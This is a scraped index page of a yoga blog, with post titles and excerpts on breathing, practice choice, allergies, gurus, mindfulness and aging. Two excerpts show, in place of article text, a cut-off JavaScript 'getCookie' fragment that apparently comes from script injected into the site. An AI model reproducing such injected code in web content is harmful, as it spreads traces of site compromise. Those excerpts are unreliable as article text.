Yoga 101

Sound vs. Silence: Which is Better for Yoga?

Sound vs. Silence: Which is Better for Yoga?

Sounds and Yoga There’s a good divide between yoga lovers about having music or ambient noise when getting in a session, and being in …

Yogic Science: Lower Your Stress Through Breathing

Yogic Science: Lower Your Stress Through Breathing

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; …

The Yogis trick for picking the right practice on any day

The Yogis trick for picking the right practice on any day

Strong or Tranquil? Some days we feel energetic and powerful and need a sweaty strong practice. And on other days there’s a softness and …

3 Questions to Know “Which Type of Yoga is Right for Me?”

3 Questions to Know “Which Type of Yoga is Right for Me?”

Our fast and hectic lifestyle has seriously impacted our health! There are many health conscious people that have decided to take up yoga …

Body Love

Yoga for Springtime Allergies

Yoga for Springtime Allergies

We all know that the benefits of yoga are virtually endless, whether it’s mental, spiritual, or physical. When it comes to our physical …

[/col]

Soul Connection

Wanted Dead or Alive – A Guru

Wanted Dead or Alive – A Guru

Life-Changing Teachers Finding or being drawn to an excellent teacher, no less a true guru, is a great boon and often life-changing. …

Discovering Mindfulness Part 2 – Mindful Yoga

Discovering Mindfulness Part 2 – Mindful Yoga

Is it Yoga if It’s Just Stretching?

Is it Yoga if It’s Just Stretching?

Satsang and the pre/trans fallacy.

Yoga and Creativity, an Inspired Combination

Yoga and Creativity, an Inspired Combination

Natural Living

Yoga at Home

Yoga course Yoga and the Art of Aging – Week 3 of Week 7

Yoga course Yoga and the Art of Aging – Week 3 of Week 7

Yoga course Yoga and the Art of Aging Full DVD Yoga Routine Week 3 of Week 7 Week 3. STRENGTH AND DIGESTION: In this session we focus on a …

Yoga and the Art of Aging Part 4

Yoga and the Art of Aging Part 4

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; …